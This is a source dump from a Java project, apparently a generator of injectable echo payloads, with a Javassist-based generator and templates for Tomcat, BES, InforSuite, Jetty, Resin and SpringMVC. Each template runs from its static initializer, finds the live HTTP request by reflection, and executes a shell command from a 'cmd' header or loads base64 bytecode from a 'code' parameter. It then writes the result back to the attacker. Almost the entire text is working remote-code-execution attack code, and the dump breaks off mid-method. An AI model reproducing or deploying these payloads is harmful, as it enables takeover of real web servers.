String MODEL_CMD = "Command"; } ================================================ FILE: jeg-core/src/main/java/jeg/core/jEGenerator.java ================================================ package jeg.core; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import jeg.common.config.Constants; import jeg.common.format.*; import jeg.common.util.*; import jeg.core.config.jEGConfig; import jeg.core.config.jEGConstants; import jeg.core.util.TemplateUtil; import java.io.File; import java.io.IOException; public class jEGenerator { private final static ClassPool pool = ClassPool.getDefault(); private final jEGConfig config; private byte[] clazzBytes; public jEGenerator(jEGConfig config) throws Throwable { this.config = config; this.genPayload(); this.formatPayload(); } private void genPayload() throws Exception { CtClass ctClass; pool.insertClassPath(new ClassClassPath(jEGenerator.class)); String className = TemplateUtil.getEchoTplClassName(config.getServerType(), config.getModelType()); ctClass = pool.getCtClass(className); ctClass.getClassFile().setVersionToJava5(); try { if (config.getReqHeaderName() != null && config.getModelType().equals(jEGConstants.MODEL_CMD)) { JavassistUtil.addMethod(ctClass, "getReqHeaderName", String.format("{return \"%s\";}", config.getReqHeaderName())); } if (config.getReqParamName() != null && config.getModelType().equals(jEGConstants.MODEL_CODE)) { JavassistUtil.addMethod(ctClass, "getReqParamName", String.format("{return \"%s\";}", config.getReqParamName())); } ctClass.setName(config.getClassName()); } catch (Exception e) { e.printStackTrace(); } JavassistUtil.removeSourceFileAttribute(ctClass); clazzBytes = new GadgetUtil(config, pool, ctClass).modify(); config.setClassBytesLength(clazzBytes.length); config.setClassBytesInFormatter(clazzBytes); config.setClassNameInFormatter(config.getClassName()); ctClass.detach(); } private void formatPayload() throws Throwable { if (config.getFormatType().contains(jEGConstants.FORMAT_BCEL)) { clazzBytes = new BCELFormatter().transform(clazzBytes, config); } else if (config.getFormatType().contains(jEGConstants.FORMAT_JAR)) { clazzBytes = new JARFormatter().transform(clazzBytes, config); } else if (config.getFormatType().contains(jEGConstants.FORMAT_BASE64)) { clazzBytes = new BASE64Formatter().transform(clazzBytes, config); } else if (config.getFormatType().contains(jEGConstants.FORMAT_BIGINTEGER)) { clazzBytes = new BigIntegerFormatter().transform(clazzBytes, config); } else if (config.getFormatType().contains(jEGConstants.FORMAT_JS)) { clazzBytes = new JavaScriptFormatter().transform(clazzBytes, config); } } public String getPayload() throws IOException { String outputDir = config.getOutputDir(); String file_output_path = outputDir; if (!file_output_path.endsWith(File.separator)) file_output_path = file_output_path + File.separator; File dir = new File(outputDir); if (!dir.exists() || !dir.isDirectory()) { dir.mkdirs(); } // 判断输出格式 switch (config.getFormatType()) { case Constants.FORMAT_CLASS: file_output_path = file_output_path + ClassUtil.getSimpleName(config.getClassName()) + ".class"; break; case Constants.FORMAT_JAR: file_output_path = file_output_path + ClassUtil.getSimpleName(config.getClassName()) + ".jar"; break; case Constants.FORMAT_BIGINTEGER: case Constants.FORMAT_JS: case Constants.FORMAT_BASE64: case Constants.FORMAT_BCEL: return new String(clazzBytes); default: break; } FileUtil.writeFile(file_output_path, clazzBytes); return file_output_path; } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/all/DFSCmdExecTpl.java ================================================ package jeg.core.template.all; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashSet; import java.util.Scanner; public class DFSCmdExecTpl { static { try { new DFSCmdExecTpl(); } catch (Exception e) { } } static HashSet h; static ClassLoader cl = Thread.currentThread().getContextClassLoader(); static Class hsr;//HTTPServletRequest.class static Class hsp;//HTTPServletResponse.class static String cmd; static Object r; static Object p; public DFSCmdExecTpl() { r = null; p = null; h =new HashSet(); try { hsr = cl.loadClass("javax.servlet.http.HttpServletRequest"); hsp = cl.loadClass("javax.servlet.http.HttpServletResponse"); } catch (ClassNotFoundException e) { e.printStackTrace(); } F(Thread.currentThread(),0); } private static String getReqHeaderName() { return "cmd"; } private static boolean i(Object obj){ if(obj==null|| h.contains(obj)){ return true; } h.add(obj); return false; } private static void p(Object o, int depth){ if(depth > 52||(r !=null&& p !=null)){ return; } if(!i(o)){ if(r ==null&&hsr.isAssignableFrom(o.getClass())){ r = o; //Tomcat特殊处理 try { cmd = (String)hsr.getMethod("getHeader",new Class[]{String.class}).invoke(o,getReqHeaderName()); if(cmd==null) { r = null; }else{ //System.out.println("find Request"); try { Method getResponse = r.getClass().getMethod("getResponse"); p = getResponse.invoke(r); } catch (Exception e) { //System.out.println("getResponse Error"); r=null; //e.printStackTrace(); } } } catch (IllegalAccessException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } }else if(p ==null&&hsp.isAssignableFrom(o.getClass())){ p = o; } if(r !=null&& p !=null){ try { PrintWriter pw = (PrintWriter)hsp.getMethod("getWriter").invoke(p); pw.println(new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next()); pw.flush(); pw.close(); //p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next()); }catch (Exception e){ } return; } F(o,depth+1); } } private static void F(Object start, int depth){ Class n=start.getClass(); do{ for (Field declaredField : n.getDeclaredFields()) { declaredField.setAccessible(true); Object o = null; try{ o = declaredField.get(start); if(!o.getClass().isArray()){ p(o,depth); }else{ for (Object q : (Object[]) o) { p(q, depth); } } }catch (Exception e){ } } }while( (n = n.getSuperclass())!=null ); } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/all/DFSCodeExecTpl.java ================================================ package jeg.core.template.all; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashSet; import java.util.Scanner; public class DFSCodeExecTpl { static { try { new DFSCodeExecTpl(); } catch (Exception e) { } } static HashSet h; static ClassLoader cl = Thread.currentThread().getContextClassLoader(); static Class hsr;//HTTPServletRequest.class static Class hsp;//HTTPServletResponse.class static String code; static Object r; static Object p; public DFSCodeExecTpl() { r = null; p = null; h =new HashSet(); try { hsr = cl.loadClass("javax.servlet.http.HttpServletRequest"); hsp = cl.loadClass("javax.servlet.http.HttpServletResponse"); } catch (ClassNotFoundException e) { e.printStackTrace(); } F(Thread.currentThread(),0); } private static String getReqParamName() { return "code"; } private static boolean i(Object obj){ if(obj==null|| h.contains(obj)){ return true; } h.add(obj); return false; } private static void p(Object o, int depth){ if(depth > 52||(r !=null&& p !=null)){ return; } if(!i(o)){ if(r ==null&&hsr.isAssignableFrom(o.getClass())){ r = o; //Tomcat特殊处理 try { code = (String)hsr.getMethod("getParameter",new Class[]{String.class}).invoke(o,getReqParamName()); if(code==null) { r = null; }else{ //System.out.println("find Request"); try { Method getResponse = r.getClass().getMethod("getResponse"); p = getResponse.invoke(r); } catch (Exception e) { //System.out.println("getResponse Error"); r=null; //e.printStackTrace(); } } } catch (IllegalAccessException | InvocationTargetException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } }else if(p ==null&&hsp.isAssignableFrom(o.getClass())){ p = o; } if(r !=null&& p !=null){ try { PrintWriter pw = (PrintWriter)hsp.getMethod("getWriter").invoke(p); pw.println(exec(code)); pw.flush(); pw.close(); //p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next()); }catch (Exception e){ } return; } F(o,depth+1); } } private static String exec(String var2) { try { byte[] clazzByte = base64Decode(var2); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); return clazz.newInstance().toString(); } catch (Exception e) { return e.getMessage(); } } private static byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception var4) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } private static void F(Object start, int depth){ Class n=start.getClass(); do{ for (Field declaredField : n.getDeclaredFields()) { declaredField.setAccessible(true); Object o = null; try{ o = declaredField.get(start); if(!o.getClass().isArray()){ p(o,depth); }else{ for (Object q : (Object[]) o) { p(q, depth); } } }catch (Exception e){ } } }while( (n = n.getSuperclass())!=null ); } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/bes/BESCmdExecTpl.java ================================================ package jeg.core.template.bes; import jeg.core.template.jetty.JettyCmdExecTpl; import java.io.InputStream; import java.io.Writer; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.ArrayList; import java.util.List; import java.util.Scanner; import java.util.Set; public class BESCmdExecTpl { static { try { new BESCmdExecTpl(); } catch (Exception e) { } } private static String getReqHeaderName() { return "cmd"; } public BESCmdExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { run(); } public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Set threadSet = Thread.getAllStackTraces().keySet(); List taskThreadList = new ArrayList(); for (Thread thread : threadSet) { if (thread.getClass().getName().contains("org.apache.tomcat.util.threads.TaskThread")) { // 将目标对象添加到列表中 taskThreadList.add(thread); } } List tables = new ArrayList(); for (Thread thread : taskThreadList) { try { Field threadLocalsField = Thread.class.getDeclaredField("threadLocals"); threadLocalsField.setAccessible(true); Object localMap = threadLocalsField.get(thread); Class threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); Field tableField = threadLocalMapClass.getDeclaredField("table"); tableField.setAccessible(true); Object table = tableField.get(localMap); tables.add(table); } catch (Exception e) { continue; } } List values = new ArrayList(); for (Object table : tables) { // 遍历 table 中的项 try { if (table != null && table.getClass().isArray()) { int length = Array.getLength(table); for (int i = 0; i < length; i++) { Object entry = Array.get(table, i); if (entry != null) { // 获取 entry 的 value 字段 try { Field valueField = entry.getClass().getDeclaredField("value"); valueField.setAccessible(true); Object value = valueField.get(entry); values.add(value); } catch (Exception e) { } } } } } catch (Exception e) { } } for (Object value : values) { if (value != null && value.getClass().getName().equals("org.apache.catalina.connector.Request")) { try { // 从 request header 获取参数 String cmd = (String) value.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(value, new Object[]{getReqHeaderName()}); if (cmd != null) { Object response = value.getClass().getMethod("getResponse", new Class[0]).invoke(value); Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); writer.write(executeCommand(cmd)); writer.flush(); writer.close(); break; } } catch (Exception ignored) { } } } } // 执行模块 public static String executeCommand(String cmd) { if (cmd == null) { return "command is null"; } try { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String execRes = ""; while (s.hasNext()) { execRes += s.next(); } if (execRes.isEmpty()) { return String.format("code exec successfully, command:%s fails. The command may not exist!\n", cmd); } return execRes; } catch (Exception e) { return String.format( e.getMessage()); } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/bes/BESCodeExecTpl.java ================================================ package jeg.core.template.bes; import java.io.Writer; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; import java.util.Set; public class BESCodeExecTpl { static { try { new BESCodeExecTpl(); } catch (Exception e) { } } private static String getReqParamName() { return "code"; } public BESCodeExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { run(); } public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Set threadSet = Thread.getAllStackTraces().keySet(); List taskThreadList = new ArrayList(); for (Thread thread : threadSet) { if (thread.getClass().getName().contains("org.apache.tomcat.util.threads.TaskThread")) { // 将目标对象添加到列表中 taskThreadList.add(thread); } } List tables = new ArrayList(); for (Thread thread : taskThreadList) { try { Field threadLocalsField = Thread.class.getDeclaredField("threadLocals"); threadLocalsField.setAccessible(true); Object localMap = threadLocalsField.get(thread); Class threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); Field tableField = threadLocalMapClass.getDeclaredField("table"); tableField.setAccessible(true); Object table = tableField.get(localMap); tables.add(table); } catch (Exception e) { continue; } } List values = new ArrayList(); for (Object table : tables) { // 遍历 table 中的项 try { if (table != null && table.getClass().isArray()) { int length = Array.getLength(table); for (int i = 0; i < length; i++) { Object entry = Array.get(table, i); if (entry != null) { // 获取 entry 的 value 字段 try { Field valueField = entry.getClass().getDeclaredField("value"); valueField.setAccessible(true); Object value = valueField.get(entry); values.add(value); } catch (Exception e) { } } } } } catch (Exception e) { } } for (Object value : values) { if (value != null && value.getClass().getName().equals("org.apache.catalina.connector.Request")) { try { // 从 request body 获取参数 String code = (String) value.getClass().getMethod("getParameter", String.class).invoke(value, getReqParamName()); if (code != null) { Object response = value.getClass().getMethod("getResponse", new Class[0]).invoke(value); Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); writer.write(defineClazz(code)); writer.flush(); writer.close(); break; } } catch (Exception ignored) { } } } } private static String defineClazz(String var2) { try { byte[] clazzByte = base64Decode(var2); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); return clazz.newInstance().toString(); } catch (Exception e) { return e.getMessage(); } } private static byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception var4) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/inforsuite/InforSuiteCmdExecTpl.java ================================================ package jeg.core.template.inforsuite; import jeg.core.template.bes.BESCmdExecTpl; import java.io.InputStream; import java.io.Writer; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.ArrayList; import java.util.List; import java.util.Scanner; import java.util.Set; public class InforSuiteCmdExecTpl { static { try { new InforSuiteCmdExecTpl(); } catch (Exception e) { } } private static String getReqHeaderName() { return "cmd"; } public InforSuiteCmdExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { run(); } public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Set threadSet = Thread.getAllStackTraces().keySet(); List taskThreadList = new ArrayList(); for (Thread thread : threadSet) { if (thread.getClass().getName().contains("com.sun.grizzly.http.HttpWorkerThread")) { // 将目标对象添加到列表中 taskThreadList.add(thread); } } List tables = new ArrayList(); for (Thread thread : taskThreadList) { try { Field threadLocalsField = Thread.class.getDeclaredField("threadLocals"); threadLocalsField.setAccessible(true); Object localMap = threadLocalsField.get(thread); Class threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); Field tableField = threadLocalMapClass.getDeclaredField("table"); tableField.setAccessible(true); Object table = tableField.get(localMap); tables.add(table); } catch (Exception e) { continue; } } List values = new ArrayList(); for (Object table : tables) { // 遍历 table 中的项 try { if (table != null && table.getClass().isArray()) { int length = Array.getLength(table); for (int i = 0; i < length; i++) { Object entry = Array.get(table, i); if (entry != null) { // 获取 entry 的 value 字段 try { Field valueField = entry.getClass().getDeclaredField("value"); valueField.setAccessible(true); Object value = valueField.get(entry); values.add(value); } catch (Exception e) { } } } } } catch (Exception e) { } } for (Object value : values) { if (value != null && value.getClass().getName().equals("com.sun.enterprise.web.pwc.connector.coyote.PwcCoyoteRequest")) { try { // 从 request header 获取参数 String cmd = (String) value.getClass().getSuperclass().getMethod("getHeader", new Class[]{String.class}).invoke(value, new Object[]{getReqHeaderName()}); if (cmd != null) { Object response = value.getClass().getSuperclass().getMethod("getResponse", new Class[0]).invoke(value); Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); writer.write(executeCommand(cmd)); writer.flush(); writer.close(); break; } } catch (Exception ignored) { } } } } // 执行模块 public static String executeCommand(String cmd) { if (cmd == null) { return "command is null"; } try { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String execRes = ""; while (s.hasNext()) { execRes += s.next(); } if (execRes.isEmpty()) { return String.format("code exec successfully, command:%s fails. The command may not exist!\n", cmd); } return execRes; } catch (Exception e) { return String.format(e.getMessage()); } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/inforsuite/InforSuiteCodeExecTpl.java ================================================ package jeg.core.template.inforsuite; import java.io.Writer; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; import java.util.Set; public class InforSuiteCodeExecTpl { static { try { new InforSuiteCodeExecTpl(); } catch (Exception e) { } } private static String getReqParamName() { return "code"; } public InforSuiteCodeExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { run(); } public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Set threadSet = Thread.getAllStackTraces().keySet(); List taskThreadList = new ArrayList(); for (Thread thread : threadSet) { if (thread.getClass().getName().contains("com.sun.grizzly.http.HttpWorkerThread")) { // 将目标对象添加到列表中 taskThreadList.add(thread); } } List tables = new ArrayList(); for (Thread thread : taskThreadList) { try { Field threadLocalsField = Thread.class.getDeclaredField("threadLocals"); threadLocalsField.setAccessible(true); Object localMap = threadLocalsField.get(thread); Class threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); Field tableField = threadLocalMapClass.getDeclaredField("table"); tableField.setAccessible(true); Object table = tableField.get(localMap); tables.add(table); } catch (Exception e) { continue; } } List values = new ArrayList(); for (Object table : tables) { // 遍历 table 中的项 try { if (table != null && table.getClass().isArray()) { int length = Array.getLength(table); for (int i = 0; i < length; i++) { Object entry = Array.get(table, i); if (entry != null) { // 获取 entry 的 value 字段 try { Field valueField = entry.getClass().getDeclaredField("value"); valueField.setAccessible(true); Object value = valueField.get(entry); values.add(value); } catch (Exception e) { } } } } } catch (Exception e) { } } for (Object value : values) { if (value != null && value.getClass().getName().equals("com.sun.enterprise.web.pwc.connector.coyote.PwcCoyoteRequest")) { try { // 从 request body 获取参数 String code = (String) value.getClass().getSuperclass().getMethod("getParameter", String.class).invoke(value, getReqParamName()); if (code != null) { Object response = value.getClass().getSuperclass().getMethod("getResponse", new Class[0]).invoke(value); Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); writer.write(defineClazz(code)); writer.flush(); writer.close(); break; } } catch (Exception ignored) { } } } } private static String defineClazz(String var2) { try { byte[] clazzByte = base64Decode(var2); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); return clazz.newInstance().toString(); } catch (Exception e) { return e.getMessage(); } } private static byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception var4) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/jetty/JettyCmdExecTpl.java ================================================ package jeg.core.template.jetty; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.util.Scanner; public class JettyCmdExecTpl { static { try { new JettyCmdExecTpl(); } catch (Exception e) { } } private String getReqHeaderName() { return "cmd"; } public JettyCmdExecTpl() { run(); } private void run() { try { Thread thread = Thread.currentThread(); Field field = Class.forName("java.lang.Thread").getDeclaredField("threadLocals"); field.setAccessible(true); Object threadLocals = field.get(thread); Class threadLocalMap = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); Field tableField = threadLocalMap.getDeclaredField("table"); tableField.setAccessible(true); Object table = tableField.get(threadLocals); Class entry = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry"); Field valueField = entry.getDeclaredField("value"); valueField.setAccessible(true); Object httpConnection = null; Object obj; for (int i = 0; i < Array.getLength(table); ++i) { obj = Array.get(table, i); if (obj != null) { httpConnection = valueField.get(obj); if (httpConnection != null && (httpConnection.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection") || httpConnection.getClass().getName().contains("HttpConnection"))) { break; } } } if (httpConnection == null) { throw new RuntimeException("HttpConnection not found"); } Object response; Object request; try { Object httpChannel = httpConnection.getClass().getMethod("getHttpChannel").invoke(httpConnection); response = httpChannel.getClass().getMethod("getResponse").invoke(httpChannel); request = httpChannel.getClass().getMethod("getRequest").invoke(httpChannel); } catch (Exception e) { // 兼容 Jetty(7.6.16.v20140903) response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection); request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection); } String cmd = (String) request.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(request, new Object[]{getReqHeaderName()}); if (cmd != null) { PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); writer.write(exec(cmd)); writer.flush(); writer.close(); } } catch (Exception e) { e.printStackTrace(); } } private String exec(String cmd) { try { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String execRes = ""; while (s.hasNext()) { execRes += s.next(); } return execRes; } catch (Exception e) { return e.getMessage(); } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/jetty/JettyCodeExecTpl.java ================================================ package jeg.core.template.jetty; import java.io.PrintWriter; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; public class JettyCodeExecTpl { static { try { new JettyCodeExecTpl(); } catch (Exception e) { } } private String getReqParamName() { return "code"; } public JettyCodeExecTpl() { run(); } public void run() { try { Thread thread = Thread.currentThread(); Field field = Class.forName("java.lang.Thread").getDeclaredField("threadLocals"); field.setAccessible(true); Object threadLocals = field.get(thread); Class threadLocalMap = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); Field tableField = threadLocalMap.getDeclaredField("table"); tableField.setAccessible(true); Object table = tableField.get(threadLocals); Class entry = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry"); Field valueField = entry.getDeclaredField("value"); valueField.setAccessible(true); Object httpConnection = null; Object obj; for (int i = 0; i < Array.getLength(table); ++i) { obj = Array.get(table, i); if (obj != null) { httpConnection = valueField.get(obj); if (httpConnection != null && (httpConnection.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection") || httpConnection.getClass().getName().contains("HttpConnection"))) { break; } } } Object response; Object request; try { Object httpChannel = httpConnection.getClass().getMethod("getHttpChannel").invoke(httpConnection); response = httpChannel.getClass().getMethod("getResponse").invoke(httpChannel); request = httpChannel.getClass().getMethod("getRequest").invoke(httpChannel); } catch (Exception e) { response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection); request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection); } String code = (String) request.getClass().getDeclaredMethod("getParameter", String.class).invoke(request, getReqParamName()); if (code != null && code != "") { PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); writer.write(exec(code)); writer.flush(); writer.close(); } } catch (Exception e) { e.printStackTrace(); } } private String exec(String var2) { try { byte[] clazzByte = base64Decode(var2); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(new javax.management.loading.MLet(new java.net.URL[0],java.lang.Thread.currentThread().getContextClassLoader()), clazzByte, 0, clazzByte.length); return clazz.newInstance().toString(); } catch (Exception e) { return e.getMessage(); } } private byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception var4) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/resin/ResinCmdExecTpl.java ================================================ package jeg.core.template.resin; import java.io.InputStream; import java.io.Writer; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Scanner; public class ResinCmdExecTpl { static { try { new ResinCmdExecTpl(); } catch (Exception e) { } } private String getReqHeaderName() { return "cmd"; } public ResinCmdExecTpl() { run(); } private void run() { try { Object currentRequest = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null); Field _responseF; if (currentRequest.getClass().getName().contains("com.caucho.server.http.HttpRequest")) { // 3.x 需要从父类中获取 _responseF = currentRequest.getClass().getSuperclass().getDeclaredField("_response"); } else { _responseF = currentRequest.getClass().getDeclaredField("_response"); } _responseF.setAccessible(true); Object response = _responseF.get(currentRequest); Method getWriterM = response.getClass().getMethod("getWriter"); Writer writer = (Writer) getWriterM.invoke(response); Method getHeaderM = currentRequest.getClass().getMethod("getHeader", String.class); String cmd = (String) getHeaderM.invoke(currentRequest, getReqHeaderName()); writer.write(exec(cmd)); } catch (Exception e) { } } private String exec(String cmd) { try { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String execRes = ""; while (s.hasNext()) { execRes += s.next(); } return execRes; } catch (Exception e) { return e.getMessage(); } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/resin/ResinCodeExecTpl.java ================================================ package jeg.core.template.resin; import java.io.Writer; import java.lang.reflect.Field; import java.lang.reflect.Method; public class ResinCodeExecTpl { static { try { new ResinCodeExecTpl(); } catch (Exception e) { } } private String getReqParamName() { return "code"; } ResinCodeExecTpl(){ run(); } private void run() { try { Object currentRequest = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null); Field _responseF; if(currentRequest.getClass().getName().contains("com.caucho.server.http.HttpRequest")){ // 3.x 需要从父类中获取 _responseF = currentRequest.getClass().getSuperclass().getDeclaredField("_response"); }else{ _responseF = currentRequest.getClass().getDeclaredField("_response"); } _responseF.setAccessible(true); Method getParameterM = currentRequest.getClass().getMethod("getParameter", String.class); String code = (String)getParameterM.invoke(currentRequest, getReqParamName()); if(code != null & code != ""){ Object response = _responseF.get(currentRequest); // 写入 body Method getWriterM = response.getClass().getMethod("getWriter"); Writer writer = (Writer)getWriterM.invoke(response); writer.write(exec(code)); } // // 写入 header // Method addHeaderM = response.getClass().getMethod("addHeader",String.class, String.class); // addHeaderM.invoke(response,getRespHeaderName(),defineClazz(code)); }catch (Exception e){ } } private String exec(String var2) { try { byte[] clazzByte = base64Decode(var2); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); return clazz.newInstance().toString(); } catch (Exception e) { return e.getMessage(); } } private byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception var4) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/springmvc/SpringMVCCmdExecTpl.java ================================================ package jeg.core.template.springmvc; import java.io.InputStream; import java.io.Writer; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Scanner; public class SpringMVCCmdExecTpl { static { try { new SpringMVCCmdExecTpl(); } catch (Exception e) { } } private String getReqHeaderName() { return "cmd"; } public SpringMVCCmdExecTpl() throws Exception { run(); } public void run() { ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); try { Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); Object request = invokeMethod(requestAttributes, "getRequest"); Object response = invokeMethod(requestAttributes, "getResponse"); Method getHeaderM = request.getClass().getMethod("getHeader", String.class); String cmd = (String) getHeaderM.invoke(request, getReqHeaderName()); if (cmd != null && !cmd.isEmpty()) { Writer writer = (Writer) invokeMethod(response, "getWriter"); writer.write(exec(cmd)); writer.flush(); writer.close(); } } catch (Exception e) 